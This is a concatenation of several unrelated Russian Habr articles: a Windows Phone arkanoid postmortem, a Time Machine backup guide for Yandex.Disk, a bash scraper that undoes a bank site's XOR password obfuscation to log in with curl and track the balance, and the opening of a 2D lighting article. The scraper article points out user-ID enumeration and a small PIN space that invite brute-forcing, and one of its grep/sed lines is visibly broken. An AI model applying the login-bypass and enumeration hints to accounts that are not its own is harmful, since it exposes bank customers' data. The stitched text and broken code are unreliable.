Для начала представлю свою игру. Она называется [Pixelnoid](http://www.windowsphone.com/ru-ru/store/app/pixel-arkanoid-pixelnoid/a74e347e-d949-4ec3-bd83-b917a423a26a). Геймплей абсолютно классический для арканоида: игрок управляет платформой, отбивает мячики, мячики сбивают блоки. Цель каждого уровня – уничтожить все доступные блоки. Игра обладает очень необычной графикой, вместо мячика пиксель, вместо блока пиксель побольше, все пиксели разноцветные, и поэтому получается составлять вот такие простые писксельные изображения, как на заглавной картинке. На самом деле там используется всего лишь 400 пикселей. Игра доступна для платформы Windows Phone, начиная с версии 7.5. Изначально она стоила около 1$, хотя был триал и бесплатная лайт-версия, но об этом я чуть позже расскажу на этапе «после публикации». Игра разрабатывалась с апреля по июнь 2013 года, в августе я производил всякие обновления, чинил баги и пытался хоть как-то распространить игру.
Под катом вы найдете рассказ по мотивам доклада, его видеозапись и слайды.
Подготовка
----------
Стоит рассказать, почему я вообще начал это делать. В марте я купил телефон на базе Windows Phone и сразу заметил, что в маркете игр почти нет, особенно арканоидов, а это мой любимый жанр. И как программист я сразу решил исправить это. Некоторые арканоиды были, но по большей части они были портированы с Windows Mobile, и это было ужасно. У меня есть опыт разработки игр, это мое хобби с давних про, но публикации до этого еще не было. Я постоянно сам себе клепал мелкие игрушки и в них играл. Плюс у меня есть некоторый опыт, скажем так, промышленной разработки игр: в предыдущей фирме я два года разрабатывал игры для социальных сетей. Также мне еще была знакома среда разработки (Visual Studio), платформа .NET, язык C# и технология [XNA](https://ru.wikipedia.org/wiki/Microsoft_XNA).
XNA — это набор инструментов, который упрощает процесс разработки игр. Не готовый игровой движок, а именно удобный интерфейс для того, чтобы взаимодействовать с двухмерными спрайтами, трехмерными моделями, звуками и прочими элементами, которые могут понадобиться в играх. XNA последние несколько лет очень активно используется для разработки в основном для инди-игр в основном для платформ Windows и Xbox. Туда входит framework, который работает в связке с .NET и специальная версию редактора XNA Game Studio edition.
На XNA было создано множество игр. Например, ~~Torchlight (обе части)~~, Bastion, FEZ. Но так как это Microsoft, я очень быстро столкнулся с реальностью. Я узнал, что технологию XNA могут через некоторое время закрыть. Там была довольно мутная история. Официально XNA рекомендовался разрабатывать под платформу Windows Phone 7, а под платформу Windows Phone 8 появилось какое-то странное сообщение о том, что Microsoft не рекомендует использовать эту технологию, и что она будет работать в режиме совместимости для приложений под Windows Phone 7. Там похожая проблема была с технологией Silverlight, в какой-то момент ее отменили. Но, тем не менее, это мнение никак не помешало, потому что я очень быстро нашел проект [Mono Game](http://www.monogame.net/). Это свободная реализация XNA, интерфейсно все выглядит точно так же, по сути я просто отключил от проекта библиотеки XNA и подключил проект Mono Game. Все сразу же заработало, никакой разницы нет. И Mono Game, в отличие от XNA, поддерживается большим количеством платформ (Windows, Linux, OS X, Android, iOS, QUYA, PlayStation). Эта технология потенциально позволяет мне без особых усилий выйти на другие мобильные рынки.
Разрабатывал я все в Visual Studio по сути под Windows Phone 7 в эмуляторе. Для разработки под Windows Phone 8 потребуется Windows 8 с Visual Studio 2012. В начале я пытался все это запустить в эмуляторе, но у меня это не заработало, потому что требовалась поддержка виртуализации. В некоторых случаях я шел по наиболее быстрому пути. И тут наиболее быстрым путем мне показалось поставить 90-дневную Windows 8 на ноутбук и дебажить приложение на моем телефоне. Так я и сделал, хотя потом все же купил полноценную Windows 8 Professional.
Теперь немного про сам магазин. Этап подготовки достаточно длительный. Прежде чем приступить непосредственно к разработке, я примерно 3 недели собирал данные по поводу того, что можно и нельзя сделать, и что в конечном итоге мне это может принести. Магазин Windows Phone так же как и App Store проверяет приложения перед публикацией, в отличие от Google Play. Приложений там было достаточно много, но большинство из них — просто треш, поделки на коленке. Годовая подписка разработчика тогда стоила 99$, а сейчас стала 19$ в год. Проверяют обычно от 4 до 7 рабочих дней. В принципе, это не так много, особенно по сравнению с магазином приложений Apple. Мне не хотелось платить 99$ поэтому я стал искать лазейки как это можно совершить.
И я очень быстро нашел программу [DreamSpark](http://www.dreamspark.ru/) — это такой небольшой лайфхак. Программа от Microsoft, которая предоставляет студентам возможность публиковать приложения в различные магазины Microsoft. Эта программа действует год, как и сама подписка. Была одна тонкость в том, что я не студент, на тот момент я уже полтора года как получил диплом. Я снова начал искать лазейки и снова нашел.
Я все провернул через сайт [Интуит](http://www.intuit.ru/) — этот сайт каким-то образом получил возможность раздавать ключи. Чтобы получить ключ, достаточно было пройти несколько тестов, которые утвердили в Microsoft. Я там сдал основы HTML 5, пару тестов по C# и по базовому JavaScript. Я на этом сайте давно зарегистрирован, поэтому мне нужно было пройти всего лишь 3 теста, новому пользователю нужно пройти 6 или 8 тестов, и это до сих пор работает, они так же продолжают раздавать ключи.
Плюшки Dreamspark:
* возможность публиковать приложения (я этим воспользовался);
* бесплатное или со скидками ПО (мне это не пригодилось, т.к. я все разрабатывал в экспресс-версиях);
* и последнее, наверное, самое главное — возможность обновить Windows 8 до версии Pro за 2000 рублей вместо 9900.
На процессе регистрации в магазине в качестве разработчика я подробно останавливаться не буду, ничего интересного там нет. Нужно было заполнить несколько анкет: информация о себе, своем банке и т.д.
Следующий этап — это разблокировка телефона. Это последнее препятствие перед самой разработкой. Делается это очень просто. После разблокировки телефона появляется возможность устанавливать .xap-файлы не из магазина приложений, а с SD-карточки. Этим пользуются пираты. На моей модели телефона HTC 8X не было слота для SD-карточки, поэтому я все проворачивал, подключая кабель к ноутбуку, и каждый раз собирал проект. Мне это не мешало.
Разработка
----------
Наконец, мы подходим к самому веселому этапу — разработке. Делал я все с апреля по июнь, в основном в свободное время, в праздники, выходные и во время отпуска.
Так как я все делал сам, мне нужно было как-то планировать свое рабочее время. Я использовал систему ролей. Приходил с работы и решал, что сегодня я геймдизайнер. Я садился, создавал новый уровень, и вдруг видел какой-нибудь баг. Тогда я писал о нем в таске программисту, который, возможно, мог бы прийти завтра-послезавтра. Конечно, если баг был серьезный, то я трансформировался в программиста и сразу же правил его, а потом возвращался обратно.
ToDo-списков я составлял очень много: на клочках бумаги, в вебе и в мобильных приложениях. В начале я пытался заниматься планированием, но в конечном итоге я пришел к другому способу управления тасками. Я стал просто для каждой роли вести общий список. Как только я заканчивал работу, я выписывал то, что за сегодня сделал. Получается некоторая система поощрения. Когда запланировано больше, чем сделано, появляется нежелательное чувство вины. А когда ты записываешь хотя бы один пункт из сделанного, появляется какое-то ощущение гордости за себя, что ты чего-то достиг, дело медленно, но двигается.
Геймплей арканоида понятен: летает мячик, разбивает блоки, при уничтожении блок может влиять на соседние блоки. У меня это и взрывающиеся блоки, и bomber-блоки, которые уничтожают все блоки по горизонтали и вертикали. Есть блоки ледяные, которые делают все соседние блоки очень хрупкими. Это все значительно разбавляет геймплей. В моей версии игры есть одна особенность: мячик от платформы отскакивает не по отраженному углу, а так как будто бы платформа слегка скругленная. Чем ближе к центру происходит удар мячика, тем прямее угол отскока. Когда я это делал, вообще не задумывался. Но спустя примерно три месяца после того, как я разработал эту механику, я узнал, что бывают и другие. Например, кто-то использовал падение с небольшим углом рандомно. Но тогда получается, что игрок совершенно не управляет игрой, т.е. он не может направить мяч в ту сторону, в которую ему нужно.
Как видно по скринам, в игре есть очки. Уничтожив один блок, получаешь одно очко. Если удается уничтожить число блоков кратное пяти, не касаясь платформы, дополнительно получаешь столько же очков. Очки были добавлены в игру просто как классический элемент арканоида, они не влияют на последующие уровни. Там нет всяких популярных нынче звездочек и достижений, хотя, возможно, и следовало это сделать. Это помогло бы прибавить интереса к игре.
Архитектура игры
----------------
Игра в плане программного кода не очень большая. Я не использовал паттерн [MVC](https://ru.wikipedia.org/wiki/Model-View-Controller). Вообще это самый популярный паттерн в играх, например, есть тысяча юнитов, которые выглядят по-разному, но ведут себя одинаково. У меня есть некая сущность, которая похожа на представление. Она описывает цвет элемента. Все элементы в игре обладают каким-то определенным цветом и простой геометрической формой. В общем-то, контроллер от модели у меня редко отличался в том плане, что у мячика есть определенный квадрат, который используется и для детектинга коллизий, и для отрисовки этого мячика на экране. Архитектурно XNA-игры выглядят примерно одинаково. Я говорю XNA, а не MonoGame, т.к. интерфейс и основные принципы были изначально заданы именно в ней. XNA сама предоставляет технологию «тика»: два метода Update и Draw в базовом классе. Первый метод отвечает за обновление данных по «тику», а второй — за отрисовку. XNA не предоставляет сущность «игровой элемент», а только инструменты для работы с графикой, звуком и текстом. У меня есть базовый элемент уровня, базовый элемент интерфейса, не все сделано хорошо, но, тем не менее, это работает. Не могу сказать, что во время разработки у меня возникали проблемы с негативными результатами из-за изначально неправильной архитектуры.
Есть один момент, который я хотел бы выделить. При разработке игр почему-то очень часто многие допускают такую простую ошибку: на каждый «тик» сдвигают игровые элементы на определенное расстояние. Например, Марио бежит к топору, чтобы разрубить мост и сбросить Боузера в лаву. В играх необходимо всегда не на какую-то константу сдвигать персонажей каждый «тик», а всегда задавать какую-то скорость умноженную на дельту между текущим и предыдущим тиком. Это нужно на случай, если вдруг на каких-либо устройствах ваша игра будет тормозить. В производительных играх это очень важно. Если у кого-то было 10 FPS, а у кого-то — 30, игроки увидят разный результат. Например, Марио не добежит до топора и не спасет принцессу.
Чтобы этого избежать, я храню позицию и направление. Этим очень удобно манипулировать в том плане, что мне периодически нужно создавать шейпы, которые движутся под некоторым углом от направления мячика, и нужно было создавать бонусы клонирования мячика. Т.е. мячик в воздухе как бы раздваивается. Я переводил направления в радианы, добавлял некоторый угол и потом переводил обратно для новых мячей.
```
Position.X += Direction.X * Speed;
Position.Y += Direction.Y * Speed;
…
double ballDirection = Math.Atan2(ball.Direction.Y, ball.Direction.X);
newBall.Direction.X = Math.Cos(ballDirection + Math.PI / 8);
newBall.Direction.Y = Math.Sin(ballDirection + Math.PI / 8);
newBall.Position.X = ball.Position.X;
newBall.Position.Y = ball.Position.Y;
```
Вернемся к внешнему виду игры. Как я уже говорил, блоки бывают разной прочности, у меня они обозначены различными цветами. Блоки из бело-серой группы обладают прочностью 1 (т.е. для их уничтожения достаточно одного удара), у зеленых прочность равна 2, у синих — 3 и т.д.
![](https://habrastorage.org/r/w1560/files/5eb/3ab/c42/5eb3abc428cd47388b4d69aeeb00890d.png)
Блоки голубого цвета в центре — это как раз ледяные, которые делают все соседние блоки очень хрупкими, т.е. белыми. Это классический элемент геймплея арканоида, у меня он просто выполнен в виде пикселей. При создании уровней я старался одновременно сделать уровень визуально красивым, но не слишком простым или сложным. При разработке я себя не ограничивал, нагло брал образы из других игр и использовал интернет-мемы.
![](https://habrastorage.org/r/w1560/files/c4a/aec/59d/c4aaec59d8f246d89a09439f8b6e0e8e.png)
Уровни я просто рисовал в редакторе, получались картинки 20 на 20 пикселей. Их я подключал к проекту и при первом создании уровня парсил изображение. Каждый цвет пикселя соответствует определенному типу блока, нужно было обработать всего лишь 400 пикселей. Это очень быстрая операция. Нельзя сказать, что в каком-то месте в плане производительности игра проседала в каком-то месте при обработке данных.
![](https://habrastorage.org/r/w1560/files/925/433/053/9254330535244eb290f1266f2b651f1e.png)
Еще в описание уровня включается XML-файл, который описывает всякие данные, которые не очень удобно обозначать графически: положение мячей на платформе от 0 до 1 и расположение бонусов в уровне. Бонусы бывают статические (всегда жестко привязаны к позиции в сетке) и динамические (случайно раскидываются по плиткам без бонусов при запуске уровня).
Цвета пикселей
---------------
На картинке ниже отображен целый уровень, состоящий только из условно белых пикселей. Все пиксели с определенной прочностью имеют примерно одинаковый цвет. Вроде как это белый, хотя видно, что некоторые блоки совсем не белые.
![](https://habrastorage.org/r/w1560/files/113/573/026/1135730264684c4d9fea6d5f1cf581fe.png)
Я это делал программно, в игре не использовалось спрайтов. Если быть точным, есть один спрайт размером 1 на 1 пиксель, который я программно растягивал до определенного размера и подкрашивал нужным мне цветом. Цвет получал при помощи достаточно простой функции. В примере ниже как раз проставлены значения именно для получения белого блока: от белого до серого.
```
r1 = g1 = b1 = 170;
r2 = g2 = b2 = 255;
…
public static Color GetColor(byte r1, byte r2, byte g1, byte g2, byte b1, byte b2)
{
if (rand == null)
rand = new Random((int)DateTime.Now.Ticks);
float fRand = (float)rand.NextDouble();
Color result = new Color();
result.R = (byte)(r1 + ((r2 - r1) * fRand));
result.G = (byte)(g1 + ((g2 - g1) * fRand));
result.B = (byte)(b1 + ((b2 - b1) * fRand));
return result;
}
```
Поэтому каждый раз, если приглядеться, картинка всегда получается немного разной. Ниже приведено видео с примером интересного уровня, где есть блоки-ключи и блок-ворота. При ударе по блоку-ключу блок-ворота на пять секунд разблокируются и становятся доступны для разрушения. Разблокировка ворот запускает визуальное обновление блока, поэтому если бить по ключу многократно, получается что-то типа белого шума.
При разработке мне нужно было поддерживать все разрешения экрана, которые на тот момент встречались на платформе Windows Phone:
* 800x480 (wvga);
* 1280x720 (720p);
* 1280x768 (wxga).
Очевидно, что с таким набором разрешений мне также нужно было поддерживать два соотношения сторон. Все подходят к этой проблеме по-разному. Лично я скейлил картинку всю по ширине экрана. На картинке ниже видно, как снизу обрезалось изображение. У меня под платформой было достаточно большое пространство под палец, чтобы игрок, управляя платформой пальцем не перекрывал себе картинку. Я этим пространством немного пожертвовал, для того чтобы картинка хорошо выглядела и с шириной 720, и с шириной 768. Красной линией как раз показано то, что на левом экране платформа чуть ниже находится, чем на экране с другим соотношением сторон.
![](https://habrastorage.org/r/w1560/files/5d4/91e/d66/5d491ed66fb04983aa7627a781d4f6f0.png)
Пара слов о музыке и звуках. Музыки у меня в игре нет, потому что у меня руки не дошли ее сделать. Звуки в игре есть, они использовались с моей любимой приставки — SNES. Я нашел 256 семплов и их использовал.
Публикация
----------
В определенный момент я понял, что если я не опубликую приложение в ближайшее время, у меня останется только два пути. Либо я буду пилить приложение бесконечно, получив годам к семидесяти неимоверно крутой движок на все случаи жизни (но к тому времени он мне уже будет не нужен), либо я просто потеряю интерес и заброшу разработку.
Форма аплоуда приложения состоит из четырех этапов. На первом нужно заполнить самые основные данные: категория, подкатегория, название в Dev Center и цена (я поставил 34 рубля). Тогда у меня еще не было триал-версии, так что я загружал только платную игру.
![](https://habrastorage.org/r/w1560/files/c17/45b/67c/c1745b67cf494d54be71fc3c4b4dfb40.png)
На втором этапе происходит непосредственно загрузка XAP-файла. У меня их было сразу два, так как я одновременно загружал версию на чистом XNA и для WP7. В этой форме также указывается, какие версии платформы и разрешения экрана поддерживает приложение. Большая часть информации, в том числе и язык приложения, берется из настроек проекта. Нужно было также ввести описание, ключевые слова, загрузить иконку (300x300), фон (1000x800) и скриншоты под все поддерживаемые разрешения экрана.
Третий этап — возрастные рейтинги. Я проставил себе только два CSRR (Тайвань) и PEGI. В первом было достаточно выбрать нужный пункт из выпадающего списка, поэтому я его и заполнил. А PEGI мне был необходим, так как этот рейтинг используется во многих европейских странах, в России и США, а именно на эти рынки я и был нацелен. Это также было несложно. На сайте [PEGI](https://wp-rating.pegi.eu) нужно было заполнить буквально одну форму (наличие насилия, эротики, наркотиков, алкоголя и тому подобного).
![](https://habrastorage.org/r/w1560/files/da8/758/257/da875825763f44b990c919b0730529be.png)
В итоге мне дали скачать специальный PDF-файл, который нужно было загрузить в магазин приложений для подтверждения рейтинга. Мне еще был интересен рынок Бразилии, но для получения рейтинга для этой страны нужно было отправить заполненный бланк на реальный адрес, и связываться с этим я не стал.
Последний пункт — это получение ключа к сервисам карт от Nokia. Мне он не понадобился.
После публикации
----------------
Я отправил приложение и стал ждать аппрува. Восьмого августа мне пришло письмо с подтверждением. Выяснилось, что при заполнении формы я забыл снять галочку с пункта «публиковать, как только это станет доступно», так что моя игра уже висела в магазине приложений.
Сразу после публикации дела шли не очень хорошо, игру никто не покупал. Я начал искать варианты для продвижения игры. Первым делом я сделал группу на facebook. Залайкали ее только мои друзья. Я также залил ролики на YouTube, это тоже не принесло особого успеха. Далее я написал об игре на пару тематических сайтов (<http://wpcentral.com>, <http://4pda.ru>), где отнеслись с большим одобрением к тому, что автор сам пришел порекламировать свою игру. Просмотров там было, много, а вот с покупками как-то не срослось. Весь август я правил баги и вносил исправления в игру. Кроме того, я сделал триал-версию с 2мя, а затем и с 5ю бесплатными уровнями. Поменял название с «Pixelnoid» на «Pixel Arkanoid (Pixelnoid)». Также я заменил казавшуюся мне красивой иконку на чуть менее приятную, но более понятную. Это принесло мне на 3–4 установки в день больше, люди стали понимать, что это арканоид.
![](https://habrastorage.org/r/w1560/files/f51/80a/552/f5180a55279b40c491542cf17f419f83.png)
Чуть позже я еще сделал бесплатную лайт-версию: ту же игру, но с другим набором уровней (их там всего 15). Там я сделал специальную кнопочку “more levels”, которая открывает магазин приложений с предложением купить полную версию. Естественно, эта игра стала гораздо популярнее оригинальной версии.
Windows Phone Store для каждого региона свой, ниже приведены результаты по запросу [arkanoid] в России, США и Британии. Как видно, выборка получается немного разная, хотя Pixelnoid Lite встречается везде.
![](https://habrastorage.org/r/w1560/files/764/a68/295/764a68295b14458fa598f40becc56d22.png)
Через какое-то время моя игра появилась на паре пиратских сайтах, что я считаю в некотором роде показателем успеха.
Еще чуть позже мне пришло письмо с сообщением о том, что Pixelnoid будет висеть в рекомендованных играх (первый экран при переходе в раздел игр в магазине приложений) в Китае. Позже такое же письмо пришло про Великобританию и Австралию. На графике ниже видны всплески, связанные с моими действиями. Игра начала медленно расти когда появилась сначала триальная, а затем и лайт-версия, ну а крупные всплески в конце — это как раз результат появления в рекомендованных.
![](https://habrastorage.org/r/w1560/files/df5/365/ca8/df5365ca8e6843459d61a16376fb9de2.png)
Но скачивания и покупки — разные вещи. Купили игру за месяц всего 6 раз, т.е. не окупилась даже покупка Windows 8 со скидкой.
![](https://habrastorage.org/r/w1560/files/be0/285/858/be0285858e894bee858fba128c19cea8.png)
Спустя пару месяцев после того, как я выступил с этим докладом, я решил сделать игру полностью бесплатной. Ситуация с покупками в лучшую сторону не менялась, несмотря на то, что я еще пару раз попадал в раздел рекомендованных игр. Безусловно, в провале игры виноват я сам. Сейчас, смотря на проект, я вижу множество ошибок в самой игре, которых не замечал во время разработки.
Подытожить это все, наверное, надо прописными истинами, которые понятны всем и без меня. Если хочешь добиться какой-то реальной отдачи, нужно уходить в дело с головой, а не заниматься им вполсилы. Да и это не гарантирует результата, особенно если делаешь это в одиночку и без особенных финансовых вливаний. Я не относился к разработке серьезно, и результат теперь кажется очевидным.
Лично я считаю, что экосистема WinPhone все еще остается «сыроватой». Хотя с прошлого года ситуация заметно улучшилась. В магазине появилось множество приложений и игр как от крупных издателей, так и от инди-разработчиков. Входной порог, кажется, все еще остается ниже, чем на Android или iOS. | https://habr.com/ru/post/233487/ | null | ru | null |
# Как настроить бэкап мака (Time Machine) на Яндекс.Диск за 5 шагов
Поводом для написания данной статьи стало, как это не странно, большое количество информации на тему настройки тайммашины в облако. Но во всех статьях пропускали несколько неочевидных моментов. Далее я расскажу как настроить бэкап в облако за пять простых шагов.
1. Устанавливаем приложение яндекс диск на мак. Оно создаст на основном жестком диске директорию /Yandex.Disk.localized/ **Важно!** На этом диске должно быть досточно свободного места под полный бэкап, так как именно здесь он и будет создаваться, а потом синхронизироваться с облаком.
Докупаем место на Яндекс.Диске.
![image](https://habrastorage.org/r/w780q1/webt/c6/iz/qt/c6izqtpyi9qmpxfwoigfkf5q1x4.jpeg)
2. Создаем образ диска: Нажимаем Файл > Новый > Пустой образ диска
![image](https://habrastorage.org/r/w780q1/webt/jj/ua/yr/jjuayr5627rra0zjjur9hzql34c.jpeg)
Указываем место размещения (яндекс.диск), размер образа, тип файловой системы «Mac OS Extended (журналируемый)» и формат образа «рассеянный пакетный образ диска».
**Обязательно включаем шифрование!**
![image](https://habrastorage.org/r/w780q1/webt/l_/fy/f0/l_fyf0zarnxcmjd40_gabmyob1c.jpeg)
Если диск создался с размером по умолчанию 100 мб, не беда:
![image](https://habrastorage.org/r/w780q1/webt/i7/z-/f5/i7z-f5sfjixkfkji7jo5rn5j8ns.jpeg)
3. Открываем Finder – Яндекс.Диск — Монтируем образ двойным щелчком
![image](https://habrastorage.org/r/w780q1/webt/po/j5/1r/poj51rg5gslbmhyjleje_hfd_jk.jpeg)
4. Открываем терминал вводим:
```
defaults write com.apple.systempreferences TMShowUnsupportedNetworkVolumes 1
```
— старые версии MacOs могут не увидеть некоторые диски, эта команда решает проблему.
```
sudo tmutil setdestination /Volumes/backup
```
— этой командой задаем тайммашине куда собственно бэкапить.
5. В настройках тайммашины, добавляем исключения. Обязательно добавляем директорию Yandex.Disk.
![image](https://habrastorage.org/r/w780q1/webt/gd/cu/p4/gdcup4a7ir14mqve-g7hnpb4y-o.jpeg)
**Всё! Запускаем Time Machine и долго ждем первый бэкап.** | https://habr.com/ru/post/584744/ | null | ru | null |
# Парсер на shell с обходом XOR-шифрования при аутентификации
Недавно возникла необходимость в парсере интернет-счета банковской карты для дальнейшего уведомления об операциях посредством смс\e-mail. Сделать это было решено по-быстрому шел-скриптом, который будет парсить страницу со счетом с определенной периодичностью при помощи задания в cron, а в случае изменения баланса счета — высылать сообщение на мобильный телефон или e-mail. Ничего сложного на первый взгляд, однако в ходе написания пришлось решить некоторые сложности, о которых вы сможете прочесть под катом.
Для парсинга было принято решение использовать стандартные unix-утилиты — curl, grep, sed. Предполагалось аутентифицироваться на https-сервере с помощью post-запроса, а далее, все как обычно — используя регулярные выражения, выдернуть нужную инфу со страницы. Но тут-то и обнаружилась основная проблема — данные при аутентификации (точнее — пароль) отправлялись на сервер закриптованными. Напомню, страница банкинга бралась по https, т.е. такой механизм вдобавок к TLS обусловлен, разве что, защитой от локальных снифферов.
![POST](https://habrastorage.org/r/w1560/storage2/f43/cdd/71b/f43cdd71b9b1f4cb106c91e141e12d95.png)
###### Перед отправкой, в лучших традициях юникода, иероглифы кодируются в хекс
Очевидно, шифрование использовалось на стороне клиента, однако трудно представить себе этот процесс без ключа, поиском которого я и занялся.
Первым делом, подумав, а почему бы и нет, были проверены куки, понятно дело, никаких зависимостей, выдающих ключ, выявлено не было. Планы написать скрипт по-быстрому и продолжить заниматься своими делами, начали понемногу рушиться. Сайт был написан на jQuery, ~~что еще более удручало мое положение~~. Воспользовавшись отладчиком, в событиях был обнаружен внедренный скрипт:
```
function () {
var context = $(this).parents("#loginParamsWrapper");
var authMode = $("#AuthMode", context).val();
var form = $("#frm" + authMode, context);
if (!TWIB.validForm(form)) {
return false;
}
var data = form.formToArray();
data.push({name: "AuthMode", value: authMode});
if (authMode == "TBId") {
var pan = $("#name", form).val();
var prefix = "9129120000000000";
if (prefix != "" && prefix.length > pan.length) {
pan = prefix.substring(0, prefix.length - pan.length) + pan;
}
data.push({name: "PAN", value: pan});
}
data.push({name: "PIN", value: TWIB.xorString($("#password", form).val(), "3734")});
...
}
```
###### Анализировалась PDA-версия сайта в виду экономии ресурсов при парсинге, в механизме аутентификации особых различий с основной версией обнаружено не было
Как видно из кода, к цифровому логину (в моем случае — десятизначному) прибавляется префикс 912912, судя по всему, статический, что было обнаружено еще при просмотре http-заголовков. Но больший интерес представляет последняя строчка, которая наводит на мысль, что значение пароля шифруется при помощи функции xorString и динамического ключа val, в данном случае, 3734. Поищем тело самой функции в остальных скриптах.
![firebug](https://habrastorage.org/r/w1560/storage2/c3a/d10/911/c3ad1091132b79bbb1c388266d7b390c.png)
Данный фрагмент кода производит сложение по модулю 2 каждого символа строки str (введенный пароль) со всей строкой val (ключевая комбинация), метод String.fromCharCode выводит символы по их полученным десятичным кодам, и возвращается строка res, которая и передается вместо пароля в post-запросе при аутентификации.
Общая картина механизма защиты уже есть, осталось выяснить, откуда берется ключевая комбинация.
А оказалось все довольно просто. При открытии страницы в куки записывается идентификатор сессии, затем post ajax-запросом (XNR) отправляется actionParam:Logon (который, кстати, встроенный в последний хром отладчик поначалу упорно не замечал), и уже в ответ в страницу внедряется скрипт с ключевой комбинацией, которая связанна с id сессии.
Для того, чтобы наш парсер смог добраться до нужной страницы, ему придется проделать следующие действия:
1. Запросить страницу, получить куки сессии
2. Используя полученные куки, отправить post-запрос, получить страницу с внедренным скриптом
3. Отпарсить в полученном json ключ, которым будет производиться XOR-шифрование
4. Произвести сложение по модулю 2 каждого символа пароля с ключевой комбинацией
4.1. Перевести символы пароля из аски в десятичные коды
4.2. Провести операцию XOR
4.3. Провести конвертацию из десятичного числа в шестнадцатеричные
4.4. Получить из кодовых значений символы юникода
5. Используя полученную строку, аутентифицироваться на сайте
Определенную сложность представляет только получении зашифрованного пароля для аутентификации. Для начала получим ключ, при помощи которого и будем осуществлять дальнейшие манипуляции:
```
curl -s -b "PDAVersion=true" -A "$ua" "$site" -c "cookies" > /dev/null
```
```
key=$(curl -s -b "cookies" -b "PDAVersion=true" -e "$site" -A "$ua" "$site/getData.jsp?actionParam=Logon&appendTransactions=true&format=html" | grep -om 1 "val(), '[0-9]*'" | sed "s/val(), //;s/'//g")
```
Обещанные манипуляции с ключом:
```
#ascii char -> dec char code -> xor -> hex char code -> unicode char
#получаем десятичные коды символов пароля
dec ()
{
for i in `echo $1 | sed 's/./&\n/g'`; do printf '%d\n' "'$i"; done
}
#производим сложение по модулю 2 с ключом
xor ()
{
for i in $*; do echo $(($i ^$key)); done
}
#переводим результат xor из dec в hex
hex ()
{
for i in $*; do printf '%X\n' "$i"; done
}
#получаем юникод символы по их шестнадцатеричным кодам
unicode ()
{
for i in $*; do printf "\u$i"; done
}
dec=`dec "$pass"`
xor=`xor $dec`
hex=`hex $xor`
char=`unicode $hex`
echo $char > /dev/null
```
На выходе получим зашифрованный пароль, которым при помощи post-запроса аутентифицируемся на сайте:
```
curl -s -b "cookies" -e "$site" -A "$ua" "$site/getData.jsp" -d AuthMode=TBId -d PAN=912912$login --data-urlencode PIN=$char -d actionParam=GetPANRq -d appendParams=true -d format=json -c cookies > /dev/null
```
![security](https://habrastorage.org/r/w1560/storage2/83f/551/4af/83f5514afc5443094e69990129e66fdc.png)
###### Довольно небезопасно выдавать информацию о неверном идентификаторе пользователя, учитывая, что теоретически максимальное число цифровых айди в базе – 1010, а цифровых паролей — всего лишь 106 ```
Только не надо судорожно дергать мышь в желании воспользоваться брутом, ничего "вкусного", кроме информации о владельце и переводах, вы не получите, т.к. у 98,76% аккаунтов нет доступа к финансовым операциям, я гарантирую)
```
Теперь можно получить нужные данные со страницы, в моем случае, сумму на счету:
```
cash=$(curl -s -b "cookies" -b "twebank_authmode=TBId" -e "$site" -A "$ua" "$site/getData.jsp?actionParam=AcctsMenu&appendTransactions=true&format=html" | grep -o 'unt">.*//;s/\.[0-9][0-9]
```
Ну а теперь завершим задуманное, написав небольшой скрипт для уведомления об изменениях суммы:
```
if [ -s "$HOME/cashlog" ]
then
if [ `cat $HOME/cashlog` = `cat $HOME/cashlog | sed 's/[^0-9]//g'` ]
then
cashlog=$(<$HOME/cashlog)
if [ "$cash" -gt "$cashlog" ]
#if [ $(echo "$cashlog < $cash"|bc) -eq 1 ]
then a=`expr $cash - $cashlog`
in=$(echo "$a rub added to your account. Now you have $cash rub")
echo $in
python $HOME/sms_send.py -n "+79999999999" -t "$in" -l "some@mail.ru" -p "pass"
echo "$cash" > "$HOME/cashlog"
elif [ "$cash" -lt "$cashlog" ]
then z=`expr $cashlog - $cash`
out=$(echo "Exchanged $z rub, you have $cash rub")
echo $out
python $HOME/sms_send.py -n "+79999999999" -t "$out" -l "some@mail.ru" -p "pass"
echo "$cash" > "$HOME/cashlog"
#else echo "No changes, you have $cash rub"
fi
else echo "$cash" > "$HOME/cashlog"
echo "Cash log was updated"
fi
else echo "$cash" > "$HOME/cashlog"
echo "Cash log was created"
fi
```
Для оправки смс через сервисы mail.ru agent'a используется небольшой скрипт на питоне, найденный на просторах интернета.
Реализовывать отправку сообщения на электронную почту не стал специально, т.к. она будет осуществляться средствами cron.
Используя crontab, добавляем запись
`*/10 * * * * /path/to/script/ca.sh`
чтобы скрипт запускался каждые десять минут.
Также стоит добавить в начало сценария запись вида `MAILTO=your@mail.net`, при правильно настроенном sendmail (или его аналоге), cron будет оправлять сообщения на указанное мыло с результатами вывода скрипта.
Весь скрипт можете просмотреть [здесь](http://pastebin.com/MUZhqgw8), тестировался на bash.
Признаюсь, реализация не блещет элегантностью, но главное, как говорится, результат. Скрипт писался на скорую руку, с мыслями «ну и пусть, главное работает», поэтому есть моменты, которые явно стоило реализовать иначе. Надеюсь переписать позже, найти сможете по той же ссылке. При небольшой корректировке должен работать с любым сайтом, использующим такую схему аутентификации. Основная цель статьи — показать на примере способы решения подобных задач стандартными средствами unix. Надеюсь, статья оказалась кому-нибудь полезна.
Upd: Оказалось, что старая версия банкинга не имеет никакой дополнительной защиты, т.е. для её парсинга хватило бы [такого скрипта](http://pastebin.com/ySDePJke). | https://habr.com/ru/post/127451/ | null | ru | null |
# Динамические свет и тени в моей 2d игре
Я работаю над игрой в жанре стесл-экшн, где в геймплее большую роль будут играть тени. Поэтому я сделал динамическое освещение/затенение, используя WebGL шейдеры.
### Часть первая: Динамическое освещение
На его создание меня вдохновил [пост](http://www.reddit.com/r/gamedev/comments/115f3y/how_to_dynamic_lighting_on_sprites/) на реддите, где aionskull использовал карты нормалей в Unity для динамического освещения своих спрайтов. А пользователь с ником gpillow запостил в комментах что он сделал [что-то похожее](https://love2d.org/forums/viewtopic.php?f=5&t=11076) в Love2D. Вот тут [8-мб гифка](http://www.mattgreer.org/articles/dynamic-lighting-and-shadows/pixel_shading.gif) с результатами. За неё спасибо jusksmit’у.
Итак, что такое динамическое освещение? Это техника в 3D графике, где источник света освещает объекты на сцене. Динамическое потому, что обновляется в реальном времени при движении источника. Довольно стандартная штука в 3D мире и легко применимая к 2D, если, конечно, вы можете использовать преимущества шейдеров.
Сделать динамическое освещение можно зная, что угол падения света на плоскость определяет её освещенность, а определить освещенность можно узнав вектор нормали, который показывает куда «смотрит» плоскость.
![](https://habrastorage.org/getpro/habr/post_images/b92/126/469/b921264697fb1d775d01b7baf8179317.gif)
